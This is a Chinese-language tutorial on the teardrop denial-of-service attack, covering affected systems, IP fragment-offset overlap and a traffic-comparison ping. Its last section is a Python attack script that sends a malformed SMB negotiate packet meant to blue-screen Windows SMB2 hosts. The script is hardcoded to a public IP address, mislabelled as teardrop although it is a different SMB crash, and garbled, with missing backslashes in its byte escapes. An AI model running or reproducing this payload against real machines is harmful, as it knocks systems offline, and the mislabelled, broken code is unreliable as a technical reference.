1. 简介
主要针对早期微软操作系统(95、98、3.x、nt)
近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效
原理很有趣
使用 IP 分段偏移量之间分段覆盖,接收端处理分段覆盖时可被拒绝服务
攻击效果
被攻击者蓝屏、重启、卡死
MAC头(帧头):14个字节,包括目标mac6字节,源mac6字节,上层协议2字节
FCS:帧校验序列,4个字节
ip头:源ip和目标ip,20字节
Ping大包,比较正常分段与teardrop攻击流量的区别
ping -l 4000 192.168.199.158
针对早期windows系统SMB协议的攻击
teardrop_smb.py
针对Android.IOS 系统的攻击
teardrop_androidios.py
攻击向量并不确定,要视具体协议分析
2. 攻击目标
泪滴攻击是一种拒绝服务(DoS)攻击,涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装,因此数据包相互重叠,导致目标网络设备崩溃。这通常发生在较早的操作系统上,例如Windows 3.1x,Windows 95,Windows NT和2.1.63之前版本的Linux内核。
IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 – 从而导致拒绝服务状况。
3. 攻击脚本
#!/usr/bin/python
# When SMB2.0 recieve a “&” char in the “Process Id High”
# SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA
# filename: teardrop-attack-smb.py
import sys
from socket import socket
from time import sleep
#host = sys.argv[1], 445
#host = “192.168.199.158”, 445
host = “217.113.205.53”, 445
buff = (
“x00x00x00x90” # Begin SMB header: Session message
“xffx53x4dx42” # Server Component: SMB
“x72x00x00x00” # Negociate Protocol
“x00x18x53xc8” # Operation 0x18 & sub 0xc853
“x00x26″# Process ID High: –> ???? normal value should be “x00x00”
“x00x00x00x00x00x00x00x00x00x00xffxffxffxfe”
“x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54”
“x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31”
“x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00”
“x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57”
“x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61”
“x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c”
“x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c”
“x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e”
“x30x30x32x00”
)
s = socket()
s.connect(host)
s.send(buff)
s.close()